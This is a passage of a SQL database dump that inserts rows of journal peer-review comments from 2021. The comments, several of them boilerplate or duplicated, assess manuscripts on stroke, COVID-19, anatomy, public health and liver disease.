expanded.','2021-04-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3548,13225,7635,NULL,'4','G','Y','Y','Y','The article entitled \"Predictive factors for Hemorrhagic Transformation after successful mechanical thrombectomy in cerebral large vessel occlusion\" is a research article which explain the mechanical thrombectomy has high degree evidence to treat acute ischemic stroke due to cerebral large vessel occlusion (LVO). And found that stroke etiology and the degree of WML may play a role in PH after mechanical thrombectomy for AIS patients with LVO. The article is very interesting and useful for future study. With proper figures and tables the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \"Predictive factors for Hemorrhagic Transformation after successful mechanical thrombectomy in cerebral large vessel occlusion\" is a research article which explain the mechanical thrombectomy has high degree evidence to treat acute ischemic stroke due to cerebral large vessel occlusion (LVO). And found that stroke etiology and the degree of WML may play a role in PH after mechanical thrombectomy for AIS patients with LVO. The article is very interesting and useful for future study. With proper figures and tables the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','2021-04-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3549,17499,7990,NULL,'4','G','Y','Y','Y','1, In the abstract section you stated global prevalence of sexual prevalence but your study is on male sexual dysfunction in the east Ethiopia. \r\n2. It is better to say hospital-based study rather than institutional \r\n3. How or why do you select those 3 hospitals\r\n4. Why not you used instruments for measuring substance related factors','','2021-04-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3553,11689,7888,NULL,'5','g','y','y','y','It is a very good article about the quality of life of mastectomized women who underwent paramedic areolar micropigmentation. The aim of this study was to verify the influence of paramedical micropigmentation on areolas on the quality of life of mastectomized women with breast reconstruction\r\nAuthor has concluded that the absence of this organ for women is unacceptable, due to this, micropigmentation after breast reconstruction becomes satisfactory, making them feel included in society, returning their self-esteem and improving their self-image after the impact of the disease.\r\nOverall the manuscript is well written\r\n','','2021-04-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3555,11689,8015,NULL,'5','g','y','y','y','The world is under pressure from the novel COVID-19 pandemic. The World Health Organisation (WHO) coordinates the global efforts to manage the impacts and it declared COVID-19 as a global pandemic on March 11, 2020. The pandemic started in the city of Wuhan, Hubei province, China and has brought many new challenges to public health in various countries. This paper aims to provide detailed reporting and analyses of the present rapid responses to COVID-19 and compare and contrast the epidemics in Australia, New Zealand, and Indonesia, then identify the containment strategies in these countries in order to facilitate cross-country learning\r\nAuthor outlined gaps and limitations in the responses, based on our rapid analysis of media contents, from government speeches and reports, social and mass media platforms. Overall well written manuscript.\r\n','','2021-04-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3556,11589,7617,NULL,'4','G','Y','Y','Y','The article entitled \"Automatic Recognition of Epileptic Seizure from EEG Signal based on Discrete Wavelet Transform\" is a research article which explain the automatic diagnosis of epileptic seizures via discrete wavelet transform. And found that the automatic detection of epilepsy and EEG data analysis with high accuracy, after processing the data using discrete wavelet transform, extracting more features with more indicators were discussed. The article is very interesting and useful for future study. With proper figures and tables the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \"Automatic Recognition of Epileptic Seizure from EEG Signal based on Discrete Wavelet Transform\" is a research article which explain the automatic diagnosis of epileptic seizures via discrete wavelet transform. And found that the automatic detection of epilepsy and EEG data analysis with high accuracy, after processing the data using discrete wavelet transform, extracting more features with more indicators were discussed. The article is very interesting and useful for future study. With proper figures and tables the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','2021-04-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3564,16785,7629,NULL,'4','G','n','y','y','The paper needs to be revised for scientific language. Also the citations needs to be checked.dsf','','2021-04-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3565,16785,7897,NULL,'3','g','y','y','y','The paper needs to be revised for scientific language. Also the citations needs to be checked.','','2021-04-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3568,17670,8114,NULL,'5','r','y','y','Y','The manuscript idea is of great importance. It consist mainly Pigeonpea is one of the important legume crops with high protein content and nutritional traits.  It has enormous potency for its widespread adoption by farming communities. It is affected by various kinds of biotic and abiotic stresses. In the context, of biotic stresses Sterility Mosaic Disease (SMD) is one of the severe diseases in pigeonpea which ultimately lead to the drastic yield loss. Pigeonpea  also known as tur or red gram, a perennial shrub and tropical legume which enriches the soil through symbiotic nitrogen fixation. The symptomatic features of the seed are the stunting, bushy and pale green appearance of the plant with mosaic, mottling and reduced size of the leaves, but severely affected plants are seen with complete sterility of pods. Many genetic improvement techniques are evolved i.e., pure line selection from germplasm, hybridization followed by pedigree selection and mutation breeding. Management of the disease with very rare drugs has been found to be effective. I must give assurance for publication of this article.','I recommend for publication.','2021-04-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3574,15627,7477,NULL,'5','G','y','y','y','Author presented an interesting study. This subject could be of great interest to the research community and could be largely used in the future.The title proposed by the authors is clear. ','Author presented an interesting study. This subject could be of great interest to the research community and could be largely used in the future.The title proposed by the authors is clear. ','2021-04-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3576,5741,8068,NULL,'4','G','y','y','y','Author presented an interesting study. This subject could be of great interest to the research community and could be largely used in the future. figure/tables are clear enough to summarize the results for presentation to the readers.I believe the manuscript is worthy of publication. Accepted with minor changes. \r\nMinor changes are in references they are not cited in text and not in proper format. ','Author presented an interesting study. This subject could be of great interest to the research community and could be largely used in the future. figure/tables are clear enough to summarize the results for presentation to the readers.I believe the manuscript is worthy of publication. Accepted with minor changes. \r\nMinor changes are in references they are not cited in text and not in proper format. ','2021-04-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3577,11689,8012,NULL,'5','g','y','y','y','It’s a very good article about Covid-19.\r\nIn this study, author attempt to review the prevailing mental health issues during the COVID-19 pandemic through global experiences, and reactive strategies established in mental health care. This study aim to propose a conceptual and recommendation framework for Mental Health and Foreign Aid during the COVID-19 pandemic. In this study author well described the role of foreign aid in Africa’s development.\r\nOverall well written manuscript and accepted for publication\r\n','','2021-04-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3580,5467,8146,NULL,'4','g','y','y','y','This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n','','2021-04-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3581,5467,8145,NULL,'4','G','y','y','y','This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n','','2021-04-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3582,11689,8146,NULL,'6','g','y','y','y','Since being first detected in China, coronavirus disease 2019 (COVID-19) has spread rapidly across the world, triggering a global pandemic with no viable cure in sight. As a result, national responses have focused on the effective minimization of the spread. Several diagnostic methods are reported for detecting the coronavirus in clinical, research, and public health laboratories. Some tests detect the infection directly by detecting the viral RNA and other tests detect the infection indirectly by detecting the host antibodies. \r\nThe aim of this review article is to compare the results of different test methods in detecting COVID-19 antibodies and antigens.\r\nThe detection of COVID-19 is a key task for physicians. This is an interesting topic. This article can be a reference for further studies. The Review is brief and well explained. \r\nI strongly recommended this article to be published in this journal.\r\n','','2021-04-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3583,11689,8146,NULL,'6','g','y','y','y','Since being first detected in China, coronavirus disease 2019 (COVID-19) has spread rapidly across the world, triggering a global pandemic with no viable cure in sight. As a result, national responses have focused on the effective minimization of the spread. Several diagnostic methods are reported for detecting the coronavirus in clinical, research, and public health laboratories. Some tests detect the infection directly by detecting the viral RNA and other tests detect the infection indirectly by detecting the host antibodies. \r\nThe aim of this review article is to compare the results of different test methods in detecting COVID-19 antibodies and antigens.\r\nThe detection of COVID-19 is a key task for physicians. This is an interesting topic. This article can be a reference for further studies. The Review is brief and well explained. \r\nI strongly recommended this article to be published in this journal.\r\n','','2021-04-16',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3588,5743,8068,NULL,'4','G','Y','Y','N','This study is an important one, as it addresses a vital area in healthcare, namely, health insurance. In this regard, community-based health insurance (CBHI) is very important for rural areas, especially in low- and middle-income countries (LMICs), which have resource-poor settings. Therefore, proper utilization of healthcare services will ensure the optimal use of these scarce resources. This will greatly depend on the satisfaction of the beneficiaries and thereby affect the viability of CBHI schemes that are operational in various developing countries, including Ethiopia. Here, lies the importance of studies like this one, which is crucial for gauging the public sentiment about the quality of healthcare services that are offered to patients. \r\n\r\nThe study has been well designed and well-conducted. The sample size calculation and other calculations are accurate. Some minor issues were noted that requires some attention to improve the quality of the paper. These are briefly highlighted below:\r\n\r\n1. Length of the Paper - The paper is slightly lengthy and verbose and could be condensed slightly.\r\n\r\n2. Style of English - It was observed that the \"American Style\" was primarily used (e.g. spellings like \"centers\"). The authors are advised to check whether this is the style followed by the journal. If so, then it\'s fine. Otherwise, some of the spellings need to be changed to the \"British Style\" (e.g. change \"centers\" to \"centres\").\r\n\r\n3. Abbreviations - It should be noted that the basic convention for abbreviations is that whenever a term appears for the first time in the text, the full form should be written, followed by its abbreviation, within brackets. At all subsequent places, the abbreviation will suffice. At some places, this standard convention has not been followed. For example, in the \"Introduction\" (1st Paragraph; 1st Line), the term \"universal health coverage\" should be followed by \"(UHC)\". These types of corrections should be incorporated.\r\n\r\n4. Quality of Language - There is some scope for improvement of the language, as there are some minor issues with grammar and syntax at some places.','The present study is an important one, as it addresses a vital issue (satisfaction of beneficiaries) that directly impacts the success of initiatives like the community-based health insurance (CBHI) schemes that are increasingly being rolled out in developing countries like Ethiopia, sometimes as pilot projects.\r\n\r\nThe study design and implementation are highly satisfactory. Importantly, the study has been supported by ample data that is scientifically valid and accurate. All the tables have been thoroughly checked to ensure the veracity of the calculations. Moreover, the overall quality and impact of the paper are high. \r\n\r\nI, therefore, strongly recommend that the paper should be accepted after a minor revision.','2021-04-17',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3601,11689,7992,NULL,'5','g','y','y','y','Its a good article about Anatomical Variations in 96 Circles of Willis. \r\nOverall well written and accepted for Publication','','2021-04-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3610,11689,8095,NULL,'5','g','y','y','y','Good article. Accepted for Publication','','2021-04-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3613,15493,7029,NULL,'6','G','y','y','y','Thank you so much for the opportunity to review this interesting manuscript. \r\nthe text is well arranged and structured\r\nWorth publishing and accept with out changes','Thank you so much for the opportunity to review this interesting manuscript. \r\nthe text is well arranged and structured\r\nWorth publishing and accept with out changes','2021-04-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3615,16051,7635,NULL,'1','R','N','Y','Y','1.	The sample size seems very small for such a cerebrovascular study. Please provide a statistic estimate of an appropriate sample size for this study. A study flow chart is needed. \r\n2.	Why M2 segment of MCA is not included in the LVO definition? \r\n3.	The authors defined PH1 & PH2 but provides no further stratified analysis based on PH1 & PH2.\r\n4.	Is the outcome different between HT and no-HT group?\r\n5.	In Page 10 Line 14-16. The authors stated that “Previously reported literature described factors associated with HT after recanalization, such as age, severity of neurological deficit, wake-up stroke, and delayed time from onset to recanalization.” A similar study (Stroke. 2019 Sep;50(9):2364-2370.) involving multicenter registry also demonstrated several independent predictors of PH such as age, current smoking, general anesthesia, angiographic poor collaterals, and embolization in new territory. Can the authors explain why similar findings were not observed in this study? What is the advantage of this study compared to similar preceding large-scale studies?','It is not a novel study. Similar findings were already published in Stroke at a multicenter level. This study only involves a small sample size with limited information. Most importantly, common findings in previous studies were not recapitulated in this study probably due to a limited sample size. Therefore, I would not recommend this article to be published.','2021-04-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3618,10967,8224,NULL,'5','G','Y','Y','Y','Good','Accept','2021-04-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3619,10967,8170,NULL,'5','G','Y','Y','Y','Good','Accept','2021-04-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3620,10967,8041,NULL,'5','G','Y','Y','Y','Good','Accept','2021-04-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3629,12875,8244,NULL,'4','R','N','Y','N','A well-documented rare case report.  The visuals are impressive.\r\nHowever, It is better to include a timeline from the date of admission till discharge and follow-up did if any.','Good encouragement to publish such rare cases but the timeline is important to know that it was a recent episode.','2021-04-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3631,12776,4253,NULL,'5','g','y','y','y','Its a good article and strongly accepted to publish.','','2021-04-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3632,12776,4253,NULL,'5','g','y','y','y','Its a good article and strongly accepted to publish.','','2021-04-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3633,11689,7903,NULL,'6','g','y','y','y','The quality-adjusted life year or quality-adjusted life-year (QALY) is a generic measure of disease burden, including both the quality and the quantity of life lived.\r\nThe aim of this study is to redefine poverty line as a cost of common utility value across a population. Based on this utility value, we estimate Quality Adjusted Life Year (QALY) for different states of India. This study examines the trend of poverty across different states of India in different time periods.\r\nOverall the manuscript is well written, strongly accepted for publication\r\n','','2021-04-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3656,11589,7678,NULL,'4','G','Y','Y','Y','The article entitled \"The potential therapeutic value of BDNF-TrkB pathway in COVID-19 associated stroke\" is a review article which explain the extensive role of the renin-angiotensin system and angiogenesis in COVID-19 and stroke with a focus on the BDNF-TrkB pathway. And found that the risk for stroke is higher in COVID-19 patients due to inhibition of BDNF that results from the downregulation of the ACE2 receptor during infection of SARS-CoV-2. The article is very interesting and useful for future study. With proper figures the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \"The potential therapeutic value of BDNF-TrkB pathway in COVID-19 associated stroke\" is a review article which explain the extensive role of the renin-angiotensin system and angiogenesis in COVID-19 and stroke with a focus on the BDNF-TrkB pathway. And found that the risk for stroke is higher in COVID-19 patients due to inhibition of BDNF that results from the downregulation of the ACE2 receptor during infection of SARS-CoV-2. The article is very interesting and useful for future study. With proper figures the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','2021-04-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3658,11589,7677,NULL,'4','G','Y','Y','Y','The article entitled \"Importance of CSF glucose: protein ratio in diagnosis of Tuberculous Meningitis\" is a research article which explain tuberculous meningitis (TBM) is the most severe manifestation of extrapulmonary tuberculosis with a high mortality and morbidity rates. And found that the CSF glucose: protein ratio of ? 0.5 may be useful in differentiating tuberculous from pyogenic meningitis high sensitivity and specificity. The cutoff value is highly statistically significant.. With proper tables the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \"Importance of CSF glucose: protein ratio in diagnosis of Tuberculous Meningitis\" is a research article which explain tuberculous meningitis (TBM) is the most severe manifestation of extrapulmonary tuberculosis with a high mortality and morbidity rates. And found that the CSF glucose: protein ratio of ? 0.5 may be useful in differentiating tuberculous from pyogenic meningitis high sensitivity and specificity. The cutoff value is highly statistically significant.. With proper tables the author explains it very nicely. I suggest a small change i.e. the formatting and grammar after that this article can publish.','2021-04-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3659,12875,8323,NULL,'4','R','N','m','Y','The manuscript of Anatomical variations of the anterior part of the circle of Willis-an autopsy study is well documented and written. The photographs and diagrams are illustrative. However one would have liked to have additional information on the proportion of abnormalities by gender. eg Among 28 classified abnormal 15 were ale and 13 female getting a proportion of 1.15:1.0 If one were to get the proportion by gender Male 15/?? and Female 13/?? (I didn\'t see the break up of total autopsies by gender, that would help to see if there are any significant gender differences. The list of authors includes 9 persons and the role of Psychiatry, Pharmacy, Rehabilitation is not clear. One would have liked to see the inputs of Internal medicine people in analyzing the clinical variations if any in presentations of any illnesses due to the variations. The involvement of Neuro-surgeons could have added value to see if the variations observed would pose any challenges in brain surgeries?. \r\nOverall an excellent effort that could be further improved to learn the clinical and Public health importance of such anatomical variations.','Deserves publication. Adding some more on the issues raised in this review would only add value','2021-04-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3660,11689,7854,NULL,'5','g','y','y','y','Its a good article and the aim of the study was to assess knowledge, attitude and practice of unsafe abortion among female students in Batu Terara Preparatory school. The author well written the importance of doing this research is to be used as a base line by policy makers, public health planners and administrators and significant others to explore the way to reduce risks of unsafe abortion and prevention.\r\nI strongly accepted for Publication','','2021-04-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3661,11689,7854,NULL,'5','g','y','y','y','Its a good article and the aim of the study was to assess knowledge, attitude and practice of unsafe abortion among female students in Batu Terara Preparatory school. The author well written the importance of doing this research is to be used as a base line by policy makers, public health planners and administrators and significant others to explore the way to reduce risks of unsafe abortion and prevention.\r\nI strongly accepted for Publication','','2021-04-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false');
INSERT INTO `reviewer_comments` VALUES (3663,11689,8092,NULL,'5','g','y','y','y','Its a good article about River Ecosystem. The aim of this study was to investigate the major ecological restoration methods of the polluted river ecosystem. The current study showed that for different restoration methods, the quantitative parameter measure of restored river ecosystem were different. Although, within the restoration methods, the quantitative value of restored river ecosystem varies.\r\nOverall well written, I accepted for publication\r\n','','2021-04-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3664,11689,7830,NULL,'5','g','y','y','y','The aim of this study were to assess the maternal perceived quality of life among postnatal mothers following childbirth and to determine the association between selected demographic variables and quality of life among the postnatal mothers by using maternal postpartum quality of life questionnaire (MAPP-QOL). This study is provided to assess the maternal perceived quality of life following child birth among postnatal mothers in selected hospital at Nagpur city.\r\nOverall well written, i accepted for publication','','2021-04-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3671,11689,8226,NULL,'5','g','y','y','y','Its an interesting study and very useful for the readers/researchers in this field. I accepted for publication.','','2021-05-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3678,5467,8316,NULL,'4','G','y','y','y','great research\r\ngood study','','2021-05-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3679,5467,3593,NULL,'4','g','y','y','y','good accepted','','2021-05-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3680,5467,8329,NULL,'4','G','y','y','y','\r\n- This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Where improvements are needed, a recommendation for major revision is typical.\r\n\r\n- I am ready to do the post-revision review too. \r\n\r\n-Review title as first.\r\n\r\n-Add name of author, affiliation, qualifications abbreviations after title\r\n-the English is understandable but the paper has some typographical and grammatical errors\r\n-Add any conflict of interest\r\n-Add any acknowledgements\r\n-Add any sponsorship or financial support\r\n- Keep images, graphs and data tables in clear view at end of article\r\n- You need to check referencing for accuracy, adequacy and balance.\r\n\r\n-limit research article to maximum 1000 words.\r\n\r\n-add more keywords.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Good research, worthy for study\r\n- the Abstract highlights the important findings of the review of fertilizers.\r\n-the tables or figures, aid understanding and superfluous\r\n- the research Is relevant and interesting\r\n- good sampling in analytical papers\r\n -clarify the validity of questions, the use of a detailed methodology and the data analysis being done systematically (in qualitative research)\r\n- good reviews of all types and modalities of fertilizers used for agriculture in India\r\n- the paper\'s premise is interesting and important\r\n- the methods used are appropriate\r\n- the data support the conclusions\r\n\r\n\r\n','','2021-05-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3681,5467,8329,NULL,'4','G','y','y','y','\r\n- This is an interesting study and the authors have collected a unique dataset using cutting edge methodology, literature reviews. \r\n- The paper is generally well written and structured.\r\n\r\n- However, in my opinion the paper has some shortcomings in regards to some data analyses and text, and I feel this unique dataset has not been utilized to its full extent\r\n\r\n-.\r\n\r\n-it needs alphabetical review, adjust fonts, spaces, paragraphs, do all same font with same design\r\n\r\n-adjust abstract as in form of introduction, methods, result, conclusion.\r\n\r\n\r\n-remove all graphs, tables, legends or figures from inside article and put all after references at end of article\r\n\r\n-review all references and adjust font, design for all references and organize in numerical order\r\n-review discussion paragraph as a whole\r\n\r\n-the research Is relevant and interesting\r\n\r\n-the paper is well written, the text is clear and easy to read but needs some font, design and alphabetical review with corrections\r\n-the conclusion is consistent with the evidence and arguments presented\r\n - Maximum 1000 words allowed per research\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Where improvements are needed, a recommendation for major revision is typical.\r\n\r\n- I am ready to do the post-revision review too. \r\n\r\n-Review title as first.\r\n\r\n-Add name of author, affiliation, qualifications abbreviations after title\r\n-the English is understandable but the paper has some typographical and grammatical errors\r\n-Add any conflict of interest\r\n-Add any acknowledgements\r\n-Add any sponsorship or financial support\r\n- Keep images, graphs and data tables in clear view at end of article\r\n- You need to check referencing for accuracy, adequacy and balance.\r\n\r\n-limit research article to maximum 1000 words.\r\n\r\n-add more keywords.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Good research, worthy for study\r\n- the Abstract highlights the important findings of the review of fertilizers.\r\n-the tables or figures, aid understanding and superfluous\r\n- the research Is relevant and interesting\r\n- good sampling in analytical papers\r\n -clarify the validity of questions, the use of a detailed methodology and the data analysis being done systematically (in qualitative research)\r\n- good reviews of all types and modalities of fertilizers used for agriculture in India\r\n- the paper\'s premise is interesting and important\r\n- the methods used are appropriate\r\n- the data support the conclusions\r\n\r\n\r\n','','2021-05-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3684,17912,8320,NULL,'1','D','D','N','Y','The submitted manuscript titled “The long non-coding RNA SENEBLOC” will not be recommended for a publication in the journal of Translational Biomedicine. The current version is immature for scientific quality. ','','2021-05-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(3687,12022,8381,NULL,'3','D','N','Y','N','ENFERMEDAD HEPÁTICA GRASA NO ALCOHÓLICA: PERSPECTIVA GENERAL Y RIESGO CARDIOVASCULAR\r\nHe leído este manuscrito y creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\nEn cualquier caso, felicito a los autores por su esfuerzo.\r\nSugiero que, por favor, los autores revisen los siguientes comentarios:\r\n-Comentarios generales:\r\nEn mi opinión, el artículo es excesivamente largo para ser un artículo de revista, y debería acortarse.\r\n-Método/Conclusiones:\r\nEn mi opinión, los autores deben dejar claras sus limitaciones a la hora de valorar las conclusiones.\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos.\r\n\r\nNON-ALCOHOLIC FATTY LIVER DISEASE: OVERVIEW AND CARDIOVASCULAR RISK\r\nI have read this manuscript and I think it might be acceptable if various aspects are modified and clarified.\r\nIn any case, I congratulate the authors for their effort.\r\nI suggest that the authors please review the following comments:\r\n-General comments:\r\nIn my opinion, the article is too long for a magazine article, and should be shortened.\r\n-Method / Conclusions:\r\nIn my opinion, the authors should make their limitations clear when assessing the conclusions.\r\nThe traditional method of reviewing the literature has been the narrative review, but it has two basic weaknesses. First, there is no rule on how to obtain primary data and how to integrate the results; that is the subjective criterion of the reviewer. Second, the narrative reviewer does not quantitatively synthesize the data found in the different publications; therefore, these reviews are highly susceptible to inaccuracies and biases.\r\nThat is, in summary, the conclusions of a narrative review are opinions subject to very important errors and biases. The authors should point out this fact, which implies that the results and conclusions must be evaluated with great caution and in a thoughtful and critical way.\r\n','ENFERMEDAD HEPÁTICA GRASA NO ALCOHÓLICA: PERSPECTIVA GENERAL Y RIESGO CARDIOVASCULAR\r\nHe leído este manuscrito y creo que podría ser aceptable si se modifican y aclaran varios aspectos.\r\nEn cualquier caso, felicito a los autores por su esfuerzo.\r\nSugiero que, por favor, los autores revisen los siguientes comentarios:\r\n-Comentarios generales:\r\nEn mi opinión, el artículo es excesivamente largo para ser un artículo de revista, y debería acortarse.\r\n-Método/Conclusiones:\r\nEn mi opinión, los autores deben dejar claras sus limitaciones a la hora de valorar las conclusiones.\r\nEl método tradicional de revisión de la literatura ha sido la revisión narrativa, pero tiene dos debilidades básicas. Primero, no existe una regla sobre cómo obtener datos primarios y cómo integrar los resultados; ese es el criterio subjetivo del revisor. En segundo lugar, el revisor narrativo no sintetiza cuantitativamente los datos encontrados en las diferentes publicaciones; por lo tanto, estas revisiones son muy susceptibles a inexactitudes y sesgos.\r\n\r\nNON-ALCOHOLIC FATTY LIVER DISEASE: OVERVIEW AND CARDIOVASCULAR RISK\r\nI have read this manuscript and I think it might be acceptable if various aspects are modified and clarified.\r\nIn any case, I congratulate the authors for their effort.\r\nI suggest that the authors please review the following comments:\r\n-General comments:\r\nIn my opinion, the article is too long for a magazine article, and should be shortened.\r\n-Method / Conclusions:\r\nIn my opinion, the authors should make their limitations clear when assessing the conclusions.\r\nThe traditional method of reviewing the literature has been the narrative review, but it has two basic weaknesses. First, there is no rule on how to obtain primary data and how to integrate the results; that is the subjective criterion of the reviewer. Second, the narrative reviewer does not quantitatively synthesize the data found in the different publications; therefore, these reviews are highly susceptible to inaccuracies 